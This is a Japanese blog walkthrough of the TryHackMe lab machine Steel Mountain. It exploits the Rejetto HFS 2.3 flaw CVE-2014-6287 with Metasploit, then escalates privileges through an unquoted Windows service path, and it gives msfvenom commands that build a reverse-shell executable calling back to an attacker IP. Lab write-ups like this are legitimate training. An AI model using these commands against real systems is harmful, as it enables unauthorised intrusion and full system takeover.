【TryHackMe】SteelMountainのWriteUp

CTF
この記事は約9分で読めます。

TryHackMeのSteelMountainというマシーンのWriteUp。

難易度はEasyでありながら、妙なところでハマってしまったため、攻略に結構な時間がかかってしまった。

TryHackMe | Cyber Security Training
An online platform for learning and teaching cyber security, all through your browser.

SteelMountainについて

ウォークスルーに沿って攻略していくスタイルだが、全部が全部説明されているわけではないので、初心者ならある程度調べながら進めることになる。

そんなに難易度は高くないが、Metasploit、cmd、powershellを使い分ける必要がある。
私はcmdとpowershellに不慣れなので、かなり苦労した…

Task1

ターゲットをデプロイするのがお題。
忘れずに/etc/hostsにターゲットのIPを記載しよう。今回はthm.localで記載している。

Questionもあるが、簡単なので割愛。
わからない人はソースコードを見るといいかも。

Task2

お題はEnum関係。

Question1:ウェブサーバが稼働している別のポートは?

まずはnmap。

$nmap -sV -A -Pn -T4 thm.local -oN nmap_report

スキャン結果からは、80ポートでMicrosoft IIS、8080番ポートではHttpFileServerが稼働しているのがわかる。
答えは8080。

Question2:何というファイルサーバが稼働中か?

ひとまずブラウザで、ファイルサーバにアクセス。

http://thm.local:8080/

左下にHttpFileServer2.3と、アプリケーション名とバージョンの記載がある。
これを答えればいいはずだが、今回はもう1エッセンス必要。

HttpFileServerについて検索すると、rejetto.comというサイトが公式と分かる。

HFS ~ HTTP File Server

答えは、「Rejetto HTTP File Server」。

Question3:ファイルサーバのCVE番号は?

$searchsploit HFS 2.3

HttpFileServer2.3の脆弱性がいくつか表示された。

これらの脆弱性のうち、いくつかにアクセスすると、CVE-2014-6287の脆弱性が取り上げられているとわかった。(例:リンク)

答えは「2014-6287」。

Quetion4:MetaspolitでシェルゲットしてuserFlagを探せ

まずはMetasploitを起動。

$sudo msfdb init
$msfconsole
うさ!うさ!

まずはMetasploitで使うモジュールの検索。

msf6 > search 2014-6287

ひとまずペイロードはデフォルトのwindows/meterpreter/reverse_tcpで進める。

オプションの値をセットする。

実行してシェルをゲット。

あとはuserflagを検索するのみ。

ちょっと文字化けしているけれどこれでクリア。

Task3

Question1:PowerUp.ps1を実行

まずはPowerUp.ps1を用意する。

Kaliなら最初からインストールされているので下のコマンドでパスを検索する。

$find / -name *PowerUp* 2>/dev/null

見つかれば、Meterpreterでアップロードする。

その後、meterpreterをPowershellに切り替えて、脆弱性の検索を実施。

実行結果はこのとおり。

Question2:Unquoted Service Path脆弱性を持つサービス名は?

Unquoted Service Pathとは何か。

簡単に書くと、Pathがプログラム上で”などで囲まれていないという脆弱性、というか設定ミス。
詳しくはこちらの記事がわかりやすい。

先ほどのPowerUp.ps1での検査結果では「AdvancedSystemCareService9」がこれに該当する。

Question3:RootShellを取れ

戦法としては、

  • リバースシェルのバイナリを作る
  • meterpreterで適切な場所にアップロードする
  • netcatでリバースシェルを待ち受ける
  • AdvancedSystemCareService9を再スタートさせてバイナリを実行させる

で進めていく。

まずはリバースシェルの作成。

こちら公式ではオプションとして、x86用の設定をするようになっている。
具体的には

$msfvenom -p windows/shell_reverse_tcp LHOST=10.9.3.100 LPORT=1234 -e x86/shikata_ga_nai -f exe -o Advanced.exe

というように。
今回はx86設定をしていないが、同じような場面でバイナリが動かない時にはこれを入れるのはありかもしれない。

で、次はこれをmeterpreterでアップロード。
サービスパスの\Advanced SystemCare\を狙うので、アップロード先は
C:\Program Files (x86)\IObit\
になる。

※このディレクトリに、Advanced.exeを保存してサービスをリスタートすることで、OSが¥Advanced SystemCare¥を探索する途中でこのexeを実行してしまうということ。

netcatでリバースシェルを待ち受け。

meterpreterからshellを起動し、サービス再起動。

netcatに注目すると…

System権限でリバースシェルをゲットした。

Question4:rootFlagを探す

あとはCドライブの一番上まで移動して検索すればroot.txtが見つかる。

Task3のおまけ:Question3のハマりどころ

このQuestion3で、個人的にハマってしまったのでそのポイントを追記する。

具体的にどこでハマったかというと、サービス再起動して、リバースシェルバイナリからnetcatに接続するところ。

はじめ、msfvenomで以下のようにバイナリを生成していたところ、リバースシェル確立ができずに失敗していた。

$msfvenom -p windows/shell/reverse_tcp LHOST=10.9.3.100 LPORT=1234 -f exe -o Advanced.exe

こちらのようにx86を追記してもダメだった。

$msfvenom -p windows/shell/reverse_tcp LHOST=10.9.3.100 LPORT=1234 -e x86/shikata_ga_nai -f exe -o Advanced.exe

具体的な挙動としては、攻撃先サービス再起動時(つまりはバイナリ実行時)に攻撃側端末のnetcatに対して接続するためのパケットが飛んでくるが、後続が届かずに接続が切断されるというものだった。

( ゚Д゚)ハァ?

となったのでいろいろ調べたところ、こちらの記事にたどり着いた。

Working with Payloads | Metasploit Documentation

こちらのrapid7の記事を引用させてもらうと、

If you look at Metasploit’s payload list, you will also notice that some payloads actually have the exact same name, but in different formats. For example: windows/shell/reverse_tcp and windows/shell_reverse_tcp. The one with the forward slash indicates that is a “staged” payload, the one with the underscore means it’s “single”. So what’s the difference?

A staged payload means that your payload consists of two main components: a small stub loader and the final stage payload. When you deliver windows/shell/reverse_tcp to the target machine, for example, you are actually sending the loader first. And then when that loader gets executed, it will ask the handler (on the attacker’s end) to send over the final stage (the larger payload), and finally you get a shell.

A single payload means it’s meant to be a fire-and-forget kind of payload. This can be used when the target has no network access.

とあった。

要約すると

  • 同じ名前でも違うフォーマットのペイロードがある
  • windows/shell/reverse_tcpとwindows/shell_reverse_tcp
  • /が意味するのは段階的ペイロードか、非段階的ペイロードかの違い
  • 前者をターゲットに送り込むとき、実際はローダを送り込んでいて、ローダは後から実行ファイルを取得することになる
  • 後者の場合はシングルなので実行すればファイアアンドフォーゲット(※)

※ファイアアンドフォーゲット・・・誘導ミサイルのように実行後は特に何もしなくても勝手にうまいことやってくれるということ

という内容だった。

つまり、前者の場合はネットワーク制限下では有効に動かない可能性があるということなので、(つたない私の知識による認識では)CTFにおいては後者の_で区切られたペイロードを使うのが最適なのだと思った。

Task4

Question1:Metasploit無しでローカルシェルを取る

まずはこちらにアクセスしてエクスプロイトコードをゲットする。

エディターでPythonコードを編集。ローカルIPとローカルポートを設定する。

説明文では「netcatをホストするようにWebサーバをポート80で立てよ」と書いてあるため設定をする。

そしてエクスプロイトコードを2回実行するとシェルをゲット。

Question2:cmdからPowershellを使ってサービス名一覧を取るコマンドは?

Questionの前に、winPEASをターゲットに送り込む作業が必要。

バッチファイルを実行すればwinPEASが稼働する。

Questionについては、

>powershell -c Get-Service

が答え。

以降はTask3と全く同じなので割愛。

まとめ

UnquotedPathというのは初めて知った。

実際にサービス登録時にこんな設定ミスをすることがあるのか??という疑問は尽きないが、こんな攻撃方法があることに驚いた。

OSのパス探索を利用するあたり、どうも古風な攻撃に思えるから、かなり昔から存在していた脆弱性ではないかなとも思うがよくわからない。

こういう脆弱性をひとつひとつ勉強していくのはとても楽しいね!

コメント

タイトルとURLをコピーしました